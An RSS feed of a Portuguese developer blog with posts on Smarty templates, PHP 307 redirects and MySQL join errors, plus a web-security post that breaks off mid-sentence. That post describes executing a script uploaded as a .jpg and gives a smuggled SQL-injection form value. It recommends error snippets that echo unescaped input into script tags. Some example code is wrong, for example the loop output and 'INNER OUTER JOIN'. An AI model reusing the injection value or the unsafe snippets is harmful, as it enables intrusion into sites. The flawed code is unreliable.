<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Duzao7667 Development Log</title>
	<atom:link href="http://duzao7667.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://duzao7667.wordpress.com</link>
	<description>Log de desenvolvimento do duzao7667 (UniDev)</description>
	<lastBuildDate>Thu, 01 Dec 2011 03:51:48 +0000</lastBuildDate>
	<language>pt-br</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='duzao7667.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Duzao7667 Development Log</title>
		<link>http://duzao7667.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://duzao7667.wordpress.com/osd.xml" title="Duzao7667 Development Log" />
	<atom:link rel='hub' href='http://duzao7667.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Loops com a classe smarty.</title>
		<link>http://duzao7667.wordpress.com/2011/02/03/loops-com-a-classe-smarty/</link>
		<comments>http://duzao7667.wordpress.com/2011/02/03/loops-com-a-classe-smarty/#comments</comments>
		<pubDate>Thu, 03 Feb 2011 19:33:28 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
		
		<guid isPermaLink="false">http://duzao7667.wordpress.com/?p=31</guid>
		<description><![CDATA[Hallo!  Depois de dois anos venho postar por aqui novamente o.o &#8230; é, acho que estou meio afastado do mundo geek =P Maaaas&#8230; vamos ao assunto! Vimos no post abaixo como inserir informações nos templates HTML utilizando o smarty, mas como todo bom programador sabe, um printf sem um for é como uma luva sem [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=31&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="color:#888888;">Hallo! </span><br />
<span style="color:#888888;">Depois de dois anos venho postar por aqui novamente o.o &#8230; é, acho que estou meio afastado do mundo geek =P</span></p>
<p><span style="color:#888888;">Maaaas&#8230; vamos ao assunto!</span></p>
<p><span style="color:#888888;">Vimos no post abaixo como inserir informações nos templates HTML utilizando o smarty, mas como todo bom programador sabe, um printf sem um for é como uma luva sem uma mão XD &#8230; uma hora ou outra vc precisa casar os dois.</span></p>
<p><span style="color:#888888;">Pelo lado do php é simples!!! Vc cria uma array de dados do tamanho que quiser, e usa o método Assign do smarty para enviar os dados para o template! Mas e no template?? Como a mágica é feita?? </span><br />
<span style="color:#888888;">Usamos o comando reservado SECTION, do SMARTY (lembra que eu falei que o smarty tinha sintaxe própria interna?).</span><br />
<span style="color:#888888;">Uso:</span><br />
<span style="color:#00ff00;">{section name=var_para_uso loop=$array_enviada_pelo_assign step=NUMEROQUALQUER start=NUMEROINICIALDOFOR}&lt;tags&gt;{/section}</span><br />
<span style="color:#888888;">Nota: step salta o numero que você definir no loop e start vc configura da onde quer começar a contar</span><br />
<span style="color:#888888;">Tudo sempre fica mais fácil com um exemplo, lá vamos nós:</span><br />
<span style="color:#888888;"><strong>PHP:<br />
</strong><span style="color:#00ff00;">for ($i=0;$i&lt;&gt;5;$i++){</span></span><br />
<span style="color:#00ff00;">  $numeros[$i]=$i;</span><br />
<span style="color:#00ff00;">}</span><br />
<span style="color:#00ff00;">$smarty-&gt;assign(&#8220;numeros&#8221;,$numeros);</span></p>
<p><span style="color:#888888;"><strong>TEMPLATE HTML:</strong></span><br />
<span style="color:#00ff00;">&lt;html&gt;</span><br />
<span style="color:#00ff00;">{section name=i loop=$numeros}</span><br />
<span style="color:#00ff00;">&lt;div&gt;{$numeros[i]}&lt;/div&gt;</span><br />
<span style="color:#00ff00;">{/section}</span><br />
<span style="color:#00ff00;">&lt;/html&gt;</span></p>
<p><span style="color:#888888;"><strong>RESULTADO GERADO (HTML):<br />
</strong><span style="color:#00ff00;">&lt;html&gt;</span><br />
<span style="color:#00ff00;">&lt;div&gt;1&lt;/div&gt;</span><br />
<span style="color:#00ff00;">&lt;div&gt;2&lt;/div&gt;</span><br />
<span style="color:#00ff00;">&lt;div&gt;3&lt;/div&gt;</span><br />
<span style="color:#00ff00;">&lt;div&gt;4&lt;/div&gt;</span><br />
<span style="color:#00ff00;">&lt;div&gt;5&lt;/div&gt;</span><br />
<span style="color:#00ff00;">&lt;/html&gt;</span></span></p>
<div><span style="color:#888888;">Exemplo besta né?? Mas eu sei que você bom(a) programador entendeu que o section do smarty é uma sintaxe do tipo TAG, logo, conseguiremos loops dentro de loops!!<br />
Acho que minha instrução acaba aqui e sua imaginação o guiará a fazer o resto!</span></div>
<p><span style="color:#888888;"> </p>
<p></span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/31/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/31/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/31/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/31/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/31/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/31/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/31/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/31/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/31/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/31/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/31/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/31/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/31/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/31/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=31&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2011/02/03/loops-com-a-classe-smarty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>O Poder da classe Smarty.</title>
		<link>http://duzao7667.wordpress.com/2009/04/17/o-poder-da-classe-smarty/</link>
		<comments>http://duzao7667.wordpress.com/2009/04/17/o-poder-da-classe-smarty/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 14:01:05 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Truques]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[smarty]]></category>
		<category><![CDATA[template]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/?p=10</guid>
		<description><![CDATA[Aew! Eu não morrí viu??&#8230;ainda xD Entaum mais um novo post, mas agora falando sobre o poder da classe de templates Smarty do PHP. O Smarty tem a finalidade de agregar (ou carimbar, se preferir xD) dados à templates HTML prontos. O programa basicamente substitui informações entre tags (geralmente { e }) em templates HTML, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=10&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Aew! Eu não morrí viu??&#8230;ainda xD<br />
Entaum mais um novo post, mas agora falando sobre o poder da classe de templates Smarty do PHP.</p>
<p>O Smarty tem a finalidade de agregar (ou carimbar, se preferir xD) dados à templates HTML prontos. O programa basicamente substitui informações entre tags (geralmente <span style="color:#ff0000;">{</span> e <span style="color:#ff0000;">}</span>) em templates HTML, pelos dados que você manda pelo PHP através do SMARTY.<br />
O Smarty aumenta a produtividade e a organização de projetos, pois usando-o, separamos o gráfico do lógico.</p>
<p>Ele possui um compilador interno que interpreta uma sintaxe própria na mesma linha do php, auxiliando certas tarefas como: loops e resolução condições lógicas dentro do code dos próprios templates.</p>
<p>(E, sim, esta definição foi tirada da WikiPédia! porem, fui eu quem escrevi o artigo lá xDDD)</p>
<p>Vamos a parte prática então!<br />
Primeiro baixe a classe inteira aqui: <span style="color:#0000ff;"><a href="http://www.smarty.net/download">http://www.smarty.net/download</a></span> em &#8220;Last Stable Release&#8221;</p>
<p>Descompacte os arquivos na sua pasta de paginas do apache (ou IIS se for o caso xD) e os diretorios serão montados.</p>
<p>Bora montar um exemplo simples de funcionamento???<br />
Tudo que você precisa está na pasta libs, então pegue-a e coloque-a em uma pasta de testes.<br />
Em seguida crie 2 pastas: templates, templates_c (&lt;- chmod 777, leitura e escrita para esta pasta)</p>
<p>Bem, montamos a estrutura padrão basica de uma pagina com o smarty na pasta de teste</p>
<p>Entendendo:<br />
* A pasta libs contém a classe SMARTY em sí, o core.<br />
* A pasta templates possui arquivos de templates para ultilizar-mos com o SMARTY. Os templates tem a extensão .tpl no final porem não passam de HTMLs preparados por vc para reeber informações em campos pré programados.<br />
* A pasta templates_c é a pasta onde ficam os templates já processados, é o cache/buffer do SMARTY (para não ficar tendo que re-compilar a pagina toda hora xD).</p>
<p>Agora dentro da pasta templates vamos criar um template bem básico, que chamaremos de: teste.tpl, com o seguinte conteúdo:<br />
<span style="color:#ff0000;">&lt;html&gt;<br />
&lt;header&gt;&lt;title&gt;{$titulo}&lt;/title&gt;&lt;header&gt;<br />
&lt;body&gt;<br />
&lt;center&gt;{$corpo}&lt;/center&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</span></p>
<p>Uhmmmmm, quer dizer que eu uso variaveis do php dentro de templates que são na verdade arquivos HTML??<br />
Na verdade pode ser, fragmentos de HTML, que serão juntados por vc através do SMARTY. E não são variaveis do php, são variaveis de &#8220;assinalagem/maquiagem&#8221; do SMARTY.</p>
<p>Vamos ao raiz de nossa pasta teste e criamos um index.php para finalmente fazermos nossa integração xD:</p>
<p class="MsoNormal"><span style="color:#3366ff;">&lt;?</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">include &#8220;libs/Smarty.class.php&#8221;; //inclui a classe <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </span></p>
<p class="MsoNormal"><span style="color:#3366ff;"><br />
$smarty = new Smarty; // cria novo objeto dentro da var smarty<br />
</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">$smarty-&gt;compile_check = false; //desativa a checagem de compilação</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">$smarty-&gt;caching = false; //desativa o cache (odeio debugar com cache xD..tem q ficar apagando td hr)<br />
</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">$smarty-&gt;assign(&#8220;titulo&#8221;,&#8221;Pagina de exemplo SMARTY!&#8221;); // definimos a valor qu será exibido no campo titulo do template</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">$smarty-&gt;assign(&#8220;corpo&#8221;,&#8221;Mim funga! xD&#8221;); // definimos a valor qu será exibido no campo corpo do template<br />
</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">$smarty-&gt;display(&#8220;teste.tpl&#8221;);//compila o template teste.tpl com as informações de variaveis previamente configuradas!<br />
</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">$smarty-&gt;clear_all_cache();//limpa td o cache&#8230;como ja disse..odeio-o =X</span></p>
<p class="MsoNormal"><span style="color:#3366ff;">?&gt;</span><span style="text-decoration:underline;"><span style="color:#3366ff;"><br />
</span></span><br />
No proximo post explicarei como funciona condições e loops dentro dos proprios templates html do smarty.<br />
Espero que tenham gostado xD &#8230;</p>
<p class="MsoNormal">Abraços (de macho pow) e até a próxima!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/10/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=10&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2009/04/17/o-poder-da-classe-smarty/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>Redirecionar pagina mantendo dados do metodo POST</title>
		<link>http://duzao7667.wordpress.com/2009/01/29/redirecionar-pagina-mantendo-dados-do-metodo-post/</link>
		<comments>http://duzao7667.wordpress.com/2009/01/29/redirecionar-pagina-mantendo-dados-do-metodo-post/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 18:21:57 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Protocolos]]></category>
		<category><![CDATA[Truques]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/?p=15</guid>
		<description><![CDATA[Aew! Depois de me matar no google tentando achar algum resposta para a minha pergunta: &#8220;Como diabos eu redireciono de uma pagina a outra mantendo os dados do post do protocolo HTTP entre 2 scripts PHP?&#8221; Finalmente liguei os pontinhos e descobri que precisava ser usado o codigo 307 especificado no RFC do protocolo HTTP [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=15&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="color:#d4d4d4;">Aew!</span></p>
<p><span style="color:#d4d4d4;">Depois de me matar no google tentando achar algum resposta para a minha pergunta:  &#8220;Como diabos eu redireciono de uma pagina a outra mantendo os dados do post do protocolo HTTP entre 2 scripts PHP?&#8221; </span></p>
<p><span style="color:#000000;"><span style="color:#d4d4d4;">Finalmente liguei os pontinhos e descobri que precisava ser usado o codigo 307 especificado no RFC do protocolo HTTP 1.0 como temporary redirect &#8230;. a diferença deste codigo dos outros milhares de codigos de redireção HTTP (3XX) é que ele redireciona de uma pagina para outra mantendo os dados da querystring POST!!!<br />
Ta.. mas como eu implemento isto no php??<br />
Fiquei me matando com sockets e headers mas descobri que este comando banal faz o serviço todo:<br />
</span> </span><span style="color:#d4d4d4;"> </span><span style="color:#00ccff;"><span style="color:#000000;"><span style="color:#3366ff;">header(&#8220;Location: pagina.php&#8221;,TRUE,307); </span><span style="color:#d4d4d4;"><br />
</span> </span><span style="color:#d4d4d4;"> </span></span></p>
<p><span style="color:#d4d4d4;">Poizéh&#8230; me matei no google por causa de 47 caracteres ¬¬<br />
Mais ta aew pra quem quiser saber xD</span></p>
<p><span style="color:#d4d4d4;">&#8212;&#8211;ENGLISH VERSION&#8212;&#8211;<br />
Yo!<br />
After i almost killed myself in google i finally found a PHP command to redirect pages mantaining the POST querystring.</span></p>
<p><span style="color:#d4d4d4;"><br />
The responsible for this magic is the code 307 especified int the HTTP RFC like &#8220;temporary redirect&#8221;.<br />
Uh..ok.. but how i make this shit using PHP?</span></p>
<p><span style="color:#000000;"><span style="color:#d4d4d4;">Then after a couple of hours googling, and klling the sockets and headers in PHP i found the fucking solution:<br />
</span> </span><span style="color:#d4d4d4;"> </span><span style="color:#3366ff;">header(&#8220;Location: pagina.php&#8221;,TRUE,307); </span></p>
<p><span style="color:#d4d4d4;">Oh yeah&#8230; i fucking killed myself because of 47 danmed chars ¬¬</span><span style="color:#000000;"><span style="color:#d4d4d4;"><br />
But the solution is now here to who wants xD<br />
</span> </span></p>
<p><span style="color:#d4d4d4;">&#8212;&#8212;<br />
Abraços! \o/</span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/15/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=15&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2009/01/29/redirecionar-pagina-mantendo-dados-do-metodo-post/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>Problema de compatibilidade entre Mysql 4 e 5</title>
		<link>http://duzao7667.wordpress.com/2008/07/11/problema-de-compatibilidade-entre-mysql-4-e-5/</link>
		<comments>http://duzao7667.wordpress.com/2008/07/11/problema-de-compatibilidade-entre-mysql-4-e-5/#comments</comments>
		<pubDate>Fri, 11 Jul 2008 12:56:23 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Truques]]></category>
		<category><![CDATA[mysql incompatibilidade join from inner problema mysql5]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/?p=13</guid>
		<description><![CDATA[Fala galera! Ontem percebi que mudaram sem aviso o Mysql 4.1 da unidev pra versão 5 e varios scripts do site ferraram devido ao seguinte erro proveniente do novo server mysql: &#8221; Unknown column &#8216;tabela.coluna&#8217; in &#8216;on clause&#8217; &#8220; Fiquei louco, revevisei a sintaxe do query nos scripts e tava tudo certinho (de acordo com a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=13&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Fala galera!</p>
<p>Ontem percebi que mudaram sem aviso o Mysql 4.1 da unidev pra versão 5 e varios scripts do site ferraram devido ao seguinte erro proveniente do novo server mysql:<br />
<span style="color:#ff0000;">&#8221; Unknown column &#8216;tabela.coluna&#8217; in &#8216;on clause&#8217; &#8220;</span></p>
<p>Fiquei louco, revevisei a sintaxe do query nos scripts e tava tudo certinho (de acordo com a syntaxe do 4 porem O.o). Era uma query +- assim:<br />
<span style="color:#3366ff;">SELECT t.col1, t2.col1 FROM tabela AS t,tabela2 AS t2 OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=&#8217; fudeu!  xD &#8216;;</span></p>
<p>Oq poderia ser??? me matei de procurar no gugól e nada&#8230;dai axei um post extremamente bagunçado e consegui descobrir o problema:<br />
<span style="color:#3366ff;">SELECT t.col1, t2.col1 FROM tabela AS t</span><strong><span style="color:#ff0000;">,</span></strong><span style="color:#3366ff;">tabela2 AS t2 INNER OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=&#8217; fudeu!  xD &#8216;;</span></p>
<p>A MARDITA vírgula na separação de tabelas do FROM!!!</p>
<p>Então descobri que este é o jeito certo agora:<br />
<span style="color:#3366ff;">SELECT t.col1, t2.col1 FROM tabela AS t</span> <strong><span style="color:#ff0000;">INNER JOIN </span></strong><span style="color:#3366ff;">tabela2 AS t2 INNER OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=&#8217; foi!  xD &#8216;;</span></p>
<p>É isto aeeeeeeeeeeeewwwwwwwww (ana carolina xD), por causa desta porcaria perdi 2 horas de minha vida ¬¬ mas ta ai o post pra quem precisar agora e não perder 2 horas. haeuahuahuhaeu</p>
<p>(*Xingando equipe do MYSQL*&#8230;cof..cof..cof)</p>
<p>Falow galera!</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/duzao7667.wordpress.com/13/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/duzao7667.wordpress.com/13/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/duzao7667.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/duzao7667.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/duzao7667.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/duzao7667.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/duzao7667.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/duzao7667.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/duzao7667.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/duzao7667.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/duzao7667.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/duzao7667.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/duzao7667.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/duzao7667.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/duzao7667.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/duzao7667.wordpress.com/13/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=13&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://duzao7667.wordpress.com/2008/07/11/problema-de-compatibilidade-entre-mysql-4-e-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ba5139b1c89c586aaeb9236e793691a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">duzao7667</media:title>
		</media:content>
	</item>
		<item>
		<title>Segurança em Web-Sites. (Parte 3-Outros bugs)</title>
		<link>http://duzao7667.wordpress.com/2007/09/13/seguranca-em-web-sites-parte-3-outros-bugs/</link>
		<comments>http://duzao7667.wordpress.com/2007/09/13/seguranca-em-web-sites-parte-3-outros-bugs/#comments</comments>
		<pubDate>Thu, 13 Sep 2007 21:49:31 +0000</pubDate>
		<dc:creator>duzao7667</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Truques]]></category>

		<guid isPermaLink="false">http://duzao7667.wordpress.com/2007/09/13/seguranca-em-web-sites-parte-3-outros-bugs/</guid>
		<description><![CDATA[Faaaaaaaala galera XD. Galera?? oO Quase ninguem visita meu blog, então dexa keto o &#8216;galera&#8217; XD Reformulando: Faaaaaaala putada!!! hauheuahauaehu XD, zuera ^^&#8217; Vou poupar-lhes das ladainhas de introdução e pular pro q intereça de vez&#8230;. Alem dos dois problemas principais que eu citei temos varios outros problemas. Uploads Maliciosos Muitos sites oferecem opção de upload [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=duzao7667.wordpress.com&amp;blog=1269919&amp;post=9&amp;subd=duzao7667&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Faaaaaaaala galera XD. Galera?? oO Quase ninguem visita meu blog, então dexa keto o &#8216;galera&#8217; XD<br />
Reformulando:<br />
Faaaaaaala putada!!! hauheuahauaehu XD, zuera ^^&#8217;</p>
<p>Vou poupar-lhes das ladainhas de introdução e pular pro q intereça de vez&#8230;.</p>
<p>Alem dos dois problemas principais que eu citei temos varios outros problemas.</p>
<p align="center"><strong>Uploads Maliciosos</strong></p>
<p align="left">Muitos sites oferecem opção de upload de arquivos e alguns ate descompactam pacotes zip que vc. manda. Tai o problema, pois se vc não souber filtrar os arquivos um exploit ou outro codigo mailicioso pode ser inserido no seu site. Por exemplo um dia desses postei um script onde era pra postar imagens com a extensão .jpg, como o programador não sabia que o linux não leva em consideração a extensão do arquivo pois usa o padrão MIME de detecção de tipo de arquivo eu consgui executar o .jpg como um script XD.<br />
Não so assim da pra fazer como de outras maneiras, deixarei sua criatividade lhe guiar XD</p>
<p align="center"><strong>Métodos post desprotegidos</strong></p>
<p align="left">Uma coisa que ví muito também, são paginas que usam metodo post descaradamente, mas sem a proteção devida só dando inportancia para os GETs. Isto pode feder, por que imagina uma enquete que use o metodo post e insira a opção selecionado por um input-radio e apensiona direto ao SQL, como vcs ja viram, eu poderia pegar o form de post, redirecionar o link direito para a pagina de &#8220;action&#8221; e modificar a opção do radio-box de &#8220;opt2&#8243; para &#8220;opt2&#8242;; comandos sql XD &#8211;&#8221; e ele seria apensado ao query sql ja que não tem proteção no post o.O</p>
<p align="center"><strong>Verificação de erros inseguro</strong></p>
<p align="left">Muita gente usa JAVASCRIPT pra checar erros em campos de forms e etc&#8230;, mas só java não é o suficiente pois eu posso salvar o codigo html da pagina modificar o form e retirar a checagem de erros java. Então o certo é fazer a checagem pelo java e pelo script que salva as informações também, ja que o script que esta no server nao pode ser retirado. Ta ai exemplos ASP e PHP de como tratar um erro deste, eh muito facil&#8230;</p>
<p>ASP:<br />
<font color="#339966">   Response.Write &#8220;&lt;script&gt;alert(&#8217;&#8221;&amp; strErro &amp;&#8221;&#8216;);&#8221;<br />
   Response.Write &#8220;history.back(-1);&lt;/script&gt;&#8221;<br />
   Response.End</font></p>
<p align="left">PHP:<br />
<font color="#339966">   echo &#8220;&lt;script&gt;alert(&#8217;$erro&#8217;);&#8221;;<br />
   echo &#8220;history.back(-1);&lt;/script&gt;&#8221;;<br />
   die;</font></p>
<p align="left">pronto! Isto dai exibe o erro e retorna para a pagina anterior ^^, viu q nem doeu?? xD</p>
<p align="center"><strong>Link-access por metodo get.</strong></p>
<p align="left">Ja vi muita pagina acessar seus links assim:<br />
<a href="http://www.site.com.br/link.php?url=index.php">www.site.com.br/link.php?url=index.php</a></p>
<p align="left">Mas acontece que da pra mim fazer isto neste link se o apache no linx estiver desprotegido:<br />
